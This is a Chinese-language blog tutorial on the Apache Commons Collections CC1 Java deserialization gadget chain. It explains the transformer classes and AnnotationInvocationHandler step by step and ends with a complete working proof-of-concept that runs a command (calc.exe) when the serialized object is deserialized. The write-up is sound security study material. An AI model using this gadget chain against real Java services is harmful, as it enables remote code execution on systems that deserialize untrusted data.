【Java安全】CC1链

发布于:2025-08-01 ⋅ 阅读:(15) ⋅ 点赞:(0)

CC1链

相关资源链接:

sun包要下的源码:hg.openjdk.java.net/jdk8u/jdk8u/jdk/rev/af660750b2f4
下载8u65的版本:https://blog.lupf.cn/

简单demo

P神给出的最简单的CC1 payload:

package CC1;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;


import java.util.HashMap;
import java.util.Map;


public class cc1 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.getRuntime()),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}),
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
        outerMap.put("test", "xxxx");
    }
}

在这里插入图片描述

这个过程涉及的几个相关接口和类

TransformedMap

TransformedMap用于对Java标准数据结构Map做一个修饰,被修饰过的Map在添加新的元素的时候可以执行一个回调

下⾯这⾏代码对innerMap进⾏修饰,传出的outerMap即是修饰后的Map

Map outerMap = TransformedMap.decorate(innerMap, keyTransformer,
valueTransformer);

其中,keyTransformer是处理新元素的Key的回调,valueTransformer是处理新元素的value的回调。 而这个回调指的是⼀个实现了Transformer接⼝的类

Transformer类里面就只有一个transform方法

public interface Transformer {
    public Object transform(Object input);

}

通过一个简单的代码理解 TransformedMap

package CC1;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class transformedMap {
    public static void main(String[] args) {

        //原始map,未被修饰
        Map normalMap = new HashMap();
        normalMap.put("name", "xpw");
        normalMap.put("age", 20);
        System.out.println("未使用TransformedMap的结果:");
        System.out.println(normalMap); //{name=xpw, age=20}



        //定义一个keyTransformer,将key转为大写
        Transformer keyTransformer = new Transformer() {
            public Object transform(Object input) {
                return input.toString().toUpperCase();
            }
        };

        //定义一个valueTransformer,为每一个value添加一个后缀
        Transformer valueTransformer = new Transformer() {
            public Object transform(Object input) {
                return input.toString() + "_suffix";
            }
        };


        Map map = new HashMap();
        map.put("name", "xpw");
        Map transformedMap = TransformedMap.decorate(map, keyTransformer, valueTransformer);
//        transformedMap.put("name", "xpw");
        transformedMap.put("age", 20);
        System.out.println("\n使用TransformedMap之后的结果:");
        System.out.println(transformedMap); //{name=xpw, AGE=20_suffix}

    }
}

只有被修饰的Map在添加新元素的时候会对其添加的新元素进行一个回调

在这里插入图片描述

ConstantTransformer

ConstantTransformer是实现了Transformer接⼝的⼀个类,它的过程就是在构造函数的时候传⼊⼀个对象,并在transform⽅法将这个对象再返回

public ConstantTransformer(Object constantToReturn) {
        super();
        iConstant = constantToReturn;
    }
public Object transform(Object input) {
        return iConstant;
    }

也就是说无论你传入了什么,返回的都是iConstant,也就是实例化时传入的对象

InvokerTransformer

InvokerTransformer是实现了Transformer接⼝的⼀个类,这个类可以⽤来执⾏任意⽅法,这也是反序 列化能执⾏任意代码的关键。

在实例化这个InvokerTransformer时,需要传⼊三个参数,第⼀个参数是待执⾏的⽅法名,第⼆个参数 是这个函数的参数列表的参数类型,第三个参数是传给这个函数的参数列表

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        super();
        iMethodName = methodName;
        iParamTypes = paramTypes;
        iArgs = args;
    }

public Object transform(Object input) {
        if (input == null) {
            return null;
        }
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(iMethodName, iParamTypes);
            return method.invoke(input, iArgs);
                
        } catch (NoSuchMethodException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
        } catch (IllegalAccessException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
        } catch (InvocationTargetException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
        }
    }

其实就是通过反射机制调用对象的方法执行

ChainedTransformer

ChainedTransformer也是实现了Transformer接口,接受的参数是一个Transformer[] 数组,它的transform()方法就是对Transformer[] 数组里面的每一个类调用他们自己的transform()方法,前一个类的输出作为后一个类的输入

public ChainedTransformer(Transformer[] transformers) {
        super();
        iTransformers = transformers;
    }
public Object transform(Object object) {
        for (int i = 0; i < iTransformers.length; i++) {
            object = iTransformers[i].transform(object);
        }
        return object;
    }

简单demo理解这个类的作用

package CC1;

import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

import org.apache.commons.collections.Transformer;

public class chainedTransformer {
    public static void main(String[] args) {
        Transformer[] transformers;
        transformers = new Transformer[]{
                new InvokerTransformer("toUpperCase",null,null),
                new InvokerTransformer("getClass", null, null),
                new InvokerTransformer("getName", null, null)
        };
        Transformer chainedTransformer = new ChainedTransformer(transformers);
        Object result = chainedTransformer.transform("xpw");
        System.out.println(result);
        //java.lang.String
    }
}

首先调用调用 toUpperCase对输入的字符串进行转大写,然后调用getClass()获得String.class,在调用getName()获得java.lang.String

分析demo代码

对这几个Transformer进行了解之后,再看前面demo的代码就比较好理解了

Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.getRuntime()),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}),
        };
        Transformer transformerChain = new ChainedTransformer(transformers);

首先创建了一个ChainedTransformer,里面包含了两个Transformer,第一个是ConstantTransformer, 返回当前环境的Runtime对象,第二个是InvokerTransformer, 调用Runtime对象的exec方法,执行命令

这个ChainedTransformer是一系列的回调,还需要使用这个对一个Map对象进行包装,包装后的Map对象只要在添加新的元素的时候就会自动触发回调执行(TransformedMap的作用 )

也就是这一段

Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
outerMap.put("test", "xxxx");

如何进行序列化?

触发TransformedMap的关键是向Map里面加入一个新的元素,手动执行使用put()添加一个自然是可以,但是在反序列化的时候需要找到一个类,在它的readObject方法里面存在类似的写入操作,才能触发那一系列的回调操作

那么要如何找到这样的一个类呢?

先来看看前面是通过put()添加一个新的元素从而触发后面的一系列回调

那为什么通过put添加一个新元素就会执行它的回调呢?

可以进入源码里面查看一下:
TransformedMap.decorate返回的对象是TransformedMap类型的,然后调用的put方法也就是这个类里面的put方法

在这里插入图片描述

对key调用transformKey,对value调用transformValue

而两个方法在内部都会检查前面是否有传入keyTransformer, valueTransformer, 若有则调用他们的transform方法

在这里插入图片描述

在这里插入图片描述

所以前面demo代码可以弹计算器的关键应该就不是put(), 而是valueTransformer()

那再找找还有哪里可以触发valueTransformer()

可以找到checkSetValue()这个方法

在这里插入图片描述

再找找有哪里调用了**checkSetValue()**这个方法

AbstractInputCheckedMapDecorator的内部类MapEntry里面可以找到

在这里插入图片描述

可以简单的理解一下这个代码,entry是指一个键值对,那么这个setValue就是对这个entry进行一个赋值的操作

仔细的跟一下,这个setValue其实就是Map接口里面方法的重写

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

所以如果存在一个对Map的遍历, 在遍历里面写入值 setValue()也就有了触发后面那一系列回调的条件了

写个简单demo测试一下

package CC1;

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class demo {
    public static void main(String[] args) {

        Runtime runtime = Runtime.getRuntime();
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
        Map map = new HashMap();
        map.put("key", "value");
        Map<Object,Object> decorate = TransformedMap.decorate(map, null, invokerTransformer);
        for (Map.Entry entry:decorate.entrySet()){
            entry.setValue(runtime);
        }

    }
}

在这里插入图片描述

可以弹出计算器,说明对Map进行遍历操作的时候,如果调用了setValue()是可以调用到那一系列的回调的

那么就可以依照这个进行查找有没有对应的类的readObject方法里面有进行过类似的操作

直接对setValue这个方法进行 “查找用法” 可以找到这样一个类 AnnotationInvocationHandler(sun.reflect.annotation.AnnotationInvocationHandler)

AnnotationInvocationHandler

它的readObject方法正好存在对一个Map进行遍历并设置值,当调用了setValue方法设置值时就会触发TransformedMap里注册的 Transform ,进而执行我们构造的代码

    private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        s.defaultReadObject();

        // Check to make sure that types have not evolved incompatibly

        AnnotationType annotationType = null;
        try {
            annotationType = AnnotationType.getInstance(type);
        } catch(IllegalArgumentException e) {
            // Class is no longer an annotation type; time to punch out
            throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map<String, Class<?>> memberTypes = annotationType.memberTypes();

        // If there are annotation members without values, that
        // situation is handled by the invoke method.
        for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
            String name = memberValue.getKey();
            Class<?> memberType = memberTypes.get(name);
            if (memberType != null) {  // i.e. member still exists
                Object value = memberValue.getValue();
                if (!(memberType.isInstance(value) ||
                      value instanceof ExceptionProxy)) {
                    memberValue.setValue(
                        new AnnotationTypeMismatchExceptionProxy(
                            value.getClass() + "[" + value + "]").setMember(
                                annotationType.members().get(name)));
                }
            }
        }
    }
}

poc构造

因为 sun.reflect.annotation.AnnotationInvocationHandler 是 JDK内部的类,不能直接使
用new来实例化,所以利用反射来获取它的构造方法, 并将其设置成外部可见的,再调用就可以实例化了。

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object obj = constructor.newInstance(Retention.class, outerMap);

这里的实例化传了两个参数,第二个自然就是构造的恶意Map, 而第一个是Retention.class

看到构造方法里面,第一个参数需要是继承了 Annotation 的类,Annotation是指注解类,也就是这个参数需要传入一个注解类,选择这个Retention也有原因

在这里插入图片描述

所以当下完整的代码为

package CC1;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;


public class easyCC1 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.getRuntime()),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}),
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        innerMap.put("name", "xpw");
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        Object obj = constructor.newInstance(Retention.class, outerMap);

        serialize(obj);

    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }

}

但是运行就会发现报错,原因在于Runtime的对象是无法进行序列化的,因为Runtime类没有实现 java.io.Serializable 接口的

所以需要通过反射来获取Runtime 对象

现在代码就变成了这样

package CC1;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;


public class easyCC1 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}),
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        innerMap.put("name", "xpw");
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        Object obj = constructor.newInstance(Retention.class, outerMap);

        serialize(obj);
        unserialize("ser.bin");
    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }

}

确实可以序列化了,但是反序列化的时候会发现无法弹出计算器,说明在反序列化的时候并没有执行到setValue()这里

看到里面的代码,在执行setValue之前还有两个if判断,打个断点调试一下,查看是否是没有满足这几个判断的条件

在这里插入图片描述

可以发现第一个if的条件我们就不满足

在这里插入图片描述

要如何保证memberType不为空呢?

参数name是通过memberValue.getKey()得到的,这个memberValue就是要遍历的键值对,所以这个name就会被赋值为“name”,因为我们传入的key值为"name"
memberType是由 memberTypes.get(name)得到的,而这个memberTypes在调试的界面显示只有一个 value这个值,因为找不到name这个值所以导致memberType变为了空,也就是说想让memberType不为空只需要让我们的key值name变为value就行

那么这里memberTypes为什么里面只有一个value这个键值呢?
因为我们前面传入的注解是Retention

开始这里annotationType = AnnotationType.getInstance(type);返回的就是Retention注解的结构描述对象
然后继续Map<String, Class<?>> memberTypes = annotationType.memberTypes();
调用memberTypes()方法,返回的就是 Retention类的“注解字段名 → 字段类型”的Map

而Retention里面只有一个方法 value在这里插入图片描述

所以这个memberTypes就是如同调试里面的这个值了:value:java.lang.annotation.RetentionPolicy

这也是为什么前面传入的注解类要是Rentention了,这样只需要控制添加的键值对里面有一个键值为 value就可以满足条件了

在这里插入图片描述

最后的poc

现在这个poc就可以正常执行命令,弹出计算器了

package CC1;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;


public class easyCC1 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}),
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        innerMap.put("name", "xpw");
        innerMap.put("value", "xpw");
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        Object obj = constructor.newInstance(Retention.class, outerMap);

        serialize(obj);
        unserialize("ser.bin");
    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }

}

当然,其实这里还有一个注意点就是在readObject里面它调用setValue()方法里面参数是已经写死了为AnnotationTypeMismatchExceptionProxy,也就是说我们没法控制setValue的参数,

在这里插入图片描述

那么是怎么调用到Runtime的实例对象的呢?
这个就是ConstantTransformer的作用了,前面也说了,无论传入的对象是什么,返回的对象永远是iConstant

可以看到调试的页面里面,即使传入的对象无法改变,只能是AnnotationTypeMismatchExceptionProxy,但是返回的对象却可以根据需要任意改变(在实例化时传入进去的对象)

在这里插入图片描述

也就是poc里面的这一块

在这里插入图片描述

参考

代码审计社区 Java安全漫谈
https://fushuling.com/index.php/2023/01/30/java%e5%ae%89%e5%85%a8%e7%ac%94%e8%ae%b0/
https://drun1baby.top/2022/06/06/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Commons-Collections%E7%AF%8701-CC1%E9%93%BE/
https://www.bilibili.com/video/BV1no4y1U7E1?spm_id_from=333.788.videopod.sections&vd_source=cf7d01598010e70f1da4b79252417e78

网站公告

今日签到

点亮在社区的每一天
去签到